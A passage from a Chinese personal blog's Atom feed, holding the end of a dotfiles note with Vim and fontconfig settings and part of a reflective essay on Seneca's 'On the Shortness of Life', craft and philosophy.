#999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;$&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;&amp;amp;filetype&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !~#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;#39;commit&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  \      &amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;#39;xxd&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;#39;gitrebase&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; &amp;amp;filetype&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  \&lt;&#x2F;span&gt;&lt;span&gt; |   &lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;execute&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;normal! g`\&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  \&lt;&#x2F;span&gt;&lt;span&gt; | &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;endif&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;&amp;quot; 记录所有更改&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; &amp;amp;undodir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; expand&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;#39;~&#x2F;.vim&#x2F;undofiles&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt; | &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; undofile&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;&amp;quot; 在命令栏里输入%%会展开为当前编辑文件所在的文件夹&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;cnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;expr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; %% &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;getcmdtype&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;#39;:&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; expand&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;#39;%:h&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;#39;&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; : &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;#39;%%&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;Emacs&quot;&gt;Emacs&lt;&#x2F;h3&gt;
&lt;p&gt;别自己写了，哥。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;XMonad&quot;&gt;XMonad&lt;&#x2F;h3&gt;
&lt;p&gt;趁早别用了，哥。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fontconfig&quot;&gt;fontconfig&lt;&#x2F;h3&gt;
&lt;p&gt;把英文字体放在中文字体前面可以解决&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#%E8%8B%B1%E6%96%87%E6%92%87%E5%8F%B7%E7%9A%84%E5%A4%84%E7%90%86%E6%96%B9%E6%B3%95&quot;&gt;看英文网页时撇号后面间距太大的问题&lt;&#x2F;a&gt;。不过代价是中文的单引号间距会太小。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;alias&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;   &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;family&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;serif&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;family&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;   &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;prefer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;     &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;family&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;Noto Serif&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;family&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;     &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;family&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;Noto Serif CJK SC&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;family&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;   &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;prefer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;alias&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;dotfiles
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;dotfiles&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>《论生命之短暂》的发散</title>
    <published>2022-12-12T23:05:06+00:00</published>
    <updated>2023-04-19T22:16:01+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/vita-brevis/" type="text/html" />
    <id>https://emptystack.top/vita-brevis/</id>
    <content type="html">
      &lt;h2 id=&quot;照片&quot;&gt;照片&lt;&#x2F;h2&gt;
&lt;p&gt;前几天我爸给我发了一张照片考我是哪本书。我一看就知道是赛内加的《论生命之短暂&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;（De
Brevitate Vitae&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，因为那本书是我买的。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;mmexport1670634358982-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;mmexport1670634358982-optim.jpg&quot;
	alt=&quot;老爸拍的书页&quot;
	height=&quot;460&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我买那本书并不是因为生活上碰到了什么坎坷而想要寻求斯多葛主义的慰藉。我买它的唯一原因是价格便宜，适合凑单。到手后开始阅读的原因也很简单：它又小又薄，可以很快看完。&lt;&#x2F;p&gt;
&lt;p&gt;然而等我翻到我爸拍照那一页，我才感受到手里这本小书不只是用来凑单的附赠品。&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;生命并非短促，而是我们荒废太多&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”听起来当然不如“未经审视的生活不值得过&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”振聋发聩。但这句话却能刺痛每一颗对时间流逝抱有愧疚的心——换句话说，是刺痛所有人的心，因为没有人不对逝去的时光感到遗憾&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;这时候有人要跳出来喊了：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我就没有感到遗憾！我每一分每一秒都获得圆满！不要拿你来推全世界&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”确实，我没有调查全人类对自己使用时间方式的满意度。我也无意引入各种前提与归纳来试图证明大家都对自己的过去有所愧疚。我只是抒发我的想法，而且并不很在意我的想法对不对。如果你有高见，可以把它们重定向至&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;dev&#x2F;null。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;所有人都会有悔不当初的感叹。而一旦有一丝这样的想法，就会被赛内加的这篇文章击倒。虽然赛内加在口若悬河，但起关键作用的还是自己的经历、自己的后悔。&lt;&#x2F;p&gt;
&lt;p&gt;所以，这位帝王之师、&lt;ruby&gt;智者元首&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Princeps Eruditorum&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;有什么解决方法？答案是：停止工作，投身哲学。&lt;&#x2F;p&gt;
&lt;p&gt;有一本忘记名字但很有名的科普书声称希腊时期的哲学家就是物理学家。如果现在的科学就相当于古时候的哲学，那我可以说——额，好像还不能说我做到了投身哲学。因为我在学校学习、在公司实践的似乎相比科学而言更贴近技术。关于科学的定义，还是下回再说吧；关于技术与生命，倒让我想起一句古话：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Ὁ_βίος_βραχύς,_ἡ_δὲ_τέχνη_μακρή&quot;&gt;Ὁ βίος βραχύς, ἡ δὲ τέχνη μακρή&lt;&#x2F;h2&gt;
&lt;p&gt;我不懂希腊文，用它作小标题只因它是原文。我第一次读到这句话是在《神枪少女》的中段：研究员用“人生苦短，技术永存”向读者预告主角团要有人退场了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;人生苦短，技术永存-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;人生苦短，技术永存-optim.jpg&quot;
	alt=&quot;《神枪少女》中的引用&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;后两格给我很大触动，其原因当然包含对主角团的悲伤，但更多的是对技术“永存”的敬畏。不过一年半后的现在再看这句话，我已经感不到技术会永存了——可能因为工作上十多年的屎山代码要重写了。事实上，这句译文并不贴切。希波克拉底的原文还有“机会流逝，实验危险，判断困难&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。按照上下文理解，前两句应该翻译成“生命短暂，&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;学习）技术漫长&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;——非要贴近汉语的话，也得是“人生苦短，学海无涯&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;后来再次看到这句话，是在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;friendly-interactive-bash&#x2F;&quot;&gt;Bash、Readline&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的维护者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;tiswww.case.edu&#x2F;php&#x2F;chet&#x2F;&quot;&gt;Chet
Ramey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的个人主页上&lt;&#x2F;a&gt;：他说他最喜欢的一句话是乔叟的“The
lyf so short, the craft so long to
lerne&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。联想到这位&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Chet&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;维护了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;近三十年，我又感觉希波克拉底那句话意在歌颂尝试用有限的生命和无限的技术搏斗之人的精神。&lt;&#x2F;p&gt;
&lt;p&gt;先放下生命很短这件事，单说希腊语的技术（τέχνη&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;——因为我早想说说高德纳那排版软件&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TeX&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的读音问题了。高德纳声称&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TeX&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之名来自英文&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Technology&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的语源&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;τεχνολογία（技术&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;τέχνη+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;学习&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;λογία&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;命名：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;tex.stackexchange.com&#x2F;a&#x2F;17509&quot;&gt;https:&#x2F;&#x2F;tex.stackexchange.com&#x2F;a&#x2F;17509&lt;&#x2F;a&gt;
语源：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wiktionary.org&#x2F;wiki&#x2F;%CF%84%CE%B5%CF%87%CE%BD%CE%BF%CE%BB%CE%BF%CE%B3%CE%AF%CE%B1#Etymology_2&quot;&gt;https:&#x2F;&#x2F;en.wiktionary.org&#x2F;wiki&#x2F;τεχνολογία#Etymology_2&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;因此&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TeX&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也该按照&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;τεχ&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的读音念（国际音标：&#x2F;tex&#x2F;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。国内有人用“泰赫”来强调&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;tex&#x2F;，但英国还是念&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tech（&#x2F;tek&#x2F;）的人比较多。我问过把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;loch&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ch&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;念成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;x&#x2F;，却把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TeX&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;念成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;k&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的老师为什么不按希腊语的发音读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TeX。那位老师说因为他没正经学过希腊语，所以按英文的读法读。这很有道理，如果一个人不会俄语却偏要把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AK-47&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;念成“阿卡四十七&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，那确实有够别扭。&lt;&#x2F;p&gt;
&lt;p&gt;关于这段话另外一点想说的是希腊语、拉丁语和英语里的技术（τέχνη、ars、art）都同时有艺术之意。那技术和艺术的分界在哪呢？个人认为，看完能为自己所用的是技术，只能称赞的是艺术。比如高德纳那套《The
Art of Computer
Programming&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，要是你看完能融会贯通，那就是《计算机编程技术&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;；若是看完只能说牛逼，那就是《计算机编程艺术&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。当然，因为“Vīta
brevis, ars
longa&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，所以不看那套书也完全没问题——这也是我为什么不看的原因。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;哲学不是卡牌游戏&quot;&gt;哲学不是卡牌游戏&lt;&#x2F;h2&gt;
&lt;p&gt;我有次和两个同学在海边吃炸鱼薯条时聊到了塞内加。当我说出塞内加是罗马哲学家时，其中一位&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;riding-the-iron-rooster&#x2F;#%E6%96%87%E9%9D%A9&quot;&gt;谢林粉丝&lt;&#x2F;a&gt;立刻表现出了极大的不屑。问他为啥，他说：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;罗马哪有什么哲学？全都是希腊玩剩下的。谢林说的&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”后来我和其中另一个同学聊到哲学时又被批评“你还处在没有走过康德之桥的庸俗哲学呢&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;他们好像把哲学当成了卡牌游戏——当我的德国人卡牌发动攻击时，将你手上罗马人、英国人、美国人卡牌全部送入墓地！这，让我十分不解。因为在我眼里学习哲学是为了辅助自己的生活，而不是当作获取胜利的卡牌。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;哲学和生活不冲突&quot;&gt;哲学和生活不冲突&lt;&#x2F;h2&gt;
&lt;p&gt;既然提到了哲学与生活，就不能不声明这两个元素之间没有冲突。我爸虽然不阻止我看哲学书，但总是在聊到哲学时说哲学是他那个年纪才应该学习的。多巧啊，我近几年对哲学产生兴趣的根源就在于中学时在他书架上看到那本《科学哲学&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。他告诉我那是他研究生时期老师编的教材，他还说那位老师很老了，但上课时仍然思维敏捷眼睛放光。后来当我在选修课列表里看到《科学哲学》这门课时，我立刻想起了那本书。可能有些重走长征路的想法吧，我选了那门课。&lt;&#x2F;p&gt;
&lt;p&gt;那门课的老师和同学都很好，但上完课我只感到不满足，然后我买了《大问题：简明哲学导论&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。我其实很早就接触过哲学，就算在大学期间，&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;科学哲学》也不是我选的第一个哲学相关课程。但之前接触时的叙述方式都是从“世界由水&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;火&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;气构成”的哲学史开始——我对历史完全没兴趣。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;大问题》以话题介绍各个哲学观点，这对我来说就像猪油一般美味。说到这里我突然想起&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Jeff
Erickson&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在其《&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;jeffe.cs.illinois.edu&#x2F;teaching&#x2F;algorithms&#x2F;&quot;&gt;Algorithms&lt;&#x2F;a&gt;》前言里的一句话：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Finding the author that most effectively gets their intuition into
your head takes some effort, but that effort pays off handsomely in
the long run.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;总之，&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;大问题》就是最对我胃口的那本哲学教科书。我看得很慢，没看完就出国了。然后老爸也开始阅读它，边看边在微信群里告诫我少搞哲学专心生活。看完《大问题》后他赞叹不已，接着开始看引出这篇博客的那本书。&lt;&#x2F;p&gt;
&lt;p&gt;虽然我和他解释过了年轻时看哲学书不影响生活，但想到可能还有人抱有“过早思考这些终极问题，会影响到学习工作和生活”的想法，所以我再重申一下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;想不出答案远比没想过问题要好；&lt;&#x2F;li&gt;
&lt;li&gt;可以同时有几个答案，毕竟现实生活不是答题；&lt;&#x2F;li&gt;
&lt;li&gt;临时的答案也可以指导生活；&lt;&#x2F;li&gt;
&lt;li&gt;过晚思考更容易导致“浑然不觉中，时光荏苒，生命已逝去”的结局。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;当然，在哲学不应该挡住生活的道这一点上我和老爸站在同一战线：要是吃顿大的都要犹豫，还是先努力工作吧。按照《论生命之短暂》的说法，塞内加是否定工作的。不过他那么说是有原因的：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;塞内加是道德家还是骗子？&quot;&gt;塞内加是道德家还是骗子？&lt;&#x2F;h2&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;figure&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;e34f05f3-0b76-42e0-beea-ab1f773028e3_949-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;e34f05f3-0b76-42e0-beea-ab1f773028e3_949-optim.jpg&quot;
	alt=&quot;Pseudo-Seneca&quot;
	height=&quot;1024&quot;
	width=&quot;949&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;figcaption&gt;
